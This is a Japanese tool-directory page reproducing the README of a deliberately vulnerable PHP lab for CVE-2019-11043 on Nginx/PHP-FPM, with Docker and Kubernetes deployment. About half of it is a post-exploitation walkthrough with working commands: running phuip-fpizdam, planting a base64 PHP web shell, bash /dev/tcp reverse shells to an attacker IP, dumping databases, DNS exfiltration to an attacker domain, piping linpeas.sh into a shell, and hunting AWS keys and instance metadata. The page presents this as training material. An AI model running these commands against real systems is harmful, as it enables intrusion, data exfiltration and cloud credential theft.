Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ctf-cve-2019-11043 — 意図的に脆弱性を持たせたPHPアプリで、Nginx/PHP-FPM構成によるCVE-2019-11043の再現用です。DockerおよびKubernetesへのデプロイ、権限昇格後の演習、phuip-fpizdamとの連携を含みます。 | Kitploit
ツール/GitHubGitHub/a1ex-var1amov/ctf-cve-2019-11043
特権昇格コンテナセキュリティ脆弱性分析ウェブアプリケーション悪用データ流出ポストエクスプロイトCTFクラウドセキュリティ学習と教育データベースセキュリティラボと実践
GitHub
41年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
a1ex-var1amov/ctf-cve-2019-11043

ctf-cve-2019-11043

意図的に脆弱性を持たせたPHPアプリで、Nginx/PHP-FPM構成によるCVE-2019-11043の再現用です。DockerおよびKubernetesへのデプロイ、権限昇格後の演習、phuip-fpizdamとの連携を含みます。

リポジトリを見る

タスク管理アプリ (CVE-2019-11043 ラボ)

CVE-2019-11043を再現するための、意図的に脆弱性を持たせたNginx/PHP-FPM構成の最小限のPHPアプリです。小さなタスクマネージャー、ログイン/管理、DB設定UIが含まれています。

ビルドと実行 (Docker)

root@kitploit:~
# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/

エクスプロイトクイックスタート

status.php に対して phuip-fpizdam を使用し、パラメータを検出させてから、--skip-detect を付けて再実行します。

root@kitploit:~
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"

データベースサポート

このアプリはSQLiteとMySQLの両方を自動検出でサポートしています:

SQLite (デフォルト)

  • DSN: sqlite:/var/www/html/data/app.sqlite
  • 認証不要
  • 自動セットアップ - 初回実行時にデータベースファイルが作成されます
  • 開発とテストに最適

MySQL (オプション)

  • DSN: mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4
  • ユーザー名/パスワード認証が必要
  • 環境変数による上書き - Kubernetesデプロイメント向け

環境変数

以下の環境変数が設定されている場合、自動的にDSNを上書きします:

  • DB_HOST - データベースホスト名
  • DB_PORT - データベースポート (デフォルト: 3306)
  • DB_NAME - データベース名
  • DB_USER - データベースユーザー名
  • DB_PASS - データベースパスワード

自動マイグレーション

  • アプリはリクエストに応じてマイグレーションを実行します(例: index.php、login.php、admin.php)。
  • K8sのプローブは/health.phpにアクセスし、DB接続も確認します。
  • 外部のマイグレーションジョブやローカルPHPは不要です。

Kubernetes (EKS) デプロイメント

マニフェストはk8s/にあります:

  • k8s/secret.yaml: MySQL認証情報 (stringDataプレースホルダー)
  • k8s/mysql-deployment.yaml: MySQL Deployment + Service
  • k8s/app-deployment.yaml: App Deployment (特権) + Service; シークレットをマウントし、DB環境変数を設定
  • k8s/ingress.yaml: アプリへのNginx Ingressルーティング

イメージプレースホルダーはquay.ioを使用しています – quay.io/your-org/cve-2019-11043-lab:appを自分のリポジトリに変更してください。

適用順序:

root@kitploit:~
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml

IngressはNginx Ingress Controllerとそのアドレスを指すtaskapp.local DNS/ホストを前提としています。

プロジェクト構造

  • public/: Webルート (エントリポイント)
  • app/: アプリヘルパー (設定、DB、認証、バージョン)
  • php/: PHP-FPM ini オーバーライド
  • k8s/: Kubernetesマニフェスト
  • data/: ランタイムデータ (SQLite DB、設定)

デフォルト管理者

/login.php に admin / admin でログインします(UIのヒントはCSSで非表示)。

データベース設定UI

管理者として/db_config.phpにアクセスして:

  • 現在のデータベースの状態と種類を表示
  • SQLiteとMySQLを切り替え
  • 接続パラメータを設定
  • 両方のデータベースタイプの接続例を表示

免責事項

これは意図的に脆弱性を持たせた環境です。信頼できないネットワークに公開しないでください。

マルチプラットフォームイメージビルド (Buildx)

マルチアーキテクチャイメージ(linux/amd64、linux/arm64)をビルドしてquay.ioにプッシュします。

前提条件: Docker Buildx(Docker Desktopに含まれています)。オプションのQEMUエミュレーション: docker run --privileged --rm tonistiigi/binfmt --install all。

root@kitploit:~
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"

phuip-fpizdamを使用したエンドツーエンド (コピー/ペースト)

ターゲットを設定:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"

エクスプロイト(自動検出、その後最終実行):

root@kitploit:~
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"

小さなWebシェルを配置して実行を確認:

root@kitploit:~
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"

以下のポストエクスプロイトラボ演習に進み、リバースシェル、MySQLダンプ、DNS TXT流出、linPEAS、AWSキー検索を行います。

ポストエクスプロイトラボ演習 (このラボのみ)

これらの手順は、このラボ環境での教育目的のみに使用してください。

ベースURLと攻撃者IPを設定:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444

1) コマンド実行を取得し、簡単なWebシェルを配置する

phuip-fpizdamでCVE-2019-11043をエクスプロイトした後、RCEプリミティブを使用して小さなWebシェルを書き込みます。すでにコンテナ内でシェルを持っている場合は、以下を実行:

root@kitploit:~
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null

RCEのみ(シェルなし)の場合は、RCEプリミティブ(例:エクスプロイトツール経由)で同じbase64書き込みを実行します。

確認:

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

2) whoami

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

3) リバースシェル試行 (bash /dev/tcp)

攻撃者ホストで:

root@kitploit:~
nc -lvnp "$ATTACKER_PORT"

ターゲットからトリガー(URLエンコードされたコマンド):

root@kitploit:~
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

bashが利用できない場合は、以下を試す:

root@kitploit:~
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

4) MySQLバックアップ (ダンプ)

オプションA(クラスターオペレーターの方法):

root@kitploit:~
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz

オプションB(PHP PDOを使用したWebシェル経由): アプリ設定を使用する簡単なダンパースクリプトを書く:

root@kitploit:~
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json

5) DNS TXT経由での流出(おもちゃの例)

管理するテストドメイン(例: exf.attacker.tld)を、キャプチャするネームサーバー(例: dnschef や bind)に向けます。その後、ターゲットからチャンクを運ぶDNSルックアップをトリガーします:

root@kitploit:~
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\''' 
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"

ネームサーバー上のクエリを観察し、ラベルから再構築します。

6) linPEASを取得して実行(権限昇格列挙)

root@kitploit:~
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

7) AWSキーの検索

root@kitploit:~
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'

# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"

# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true

繰り返します: これらの操作はこのラボ内でのみ実行してください。自分が所有していない、または明示的な許可を得ていないシステムに対してテストを行わないでください。

ツールをダウンロード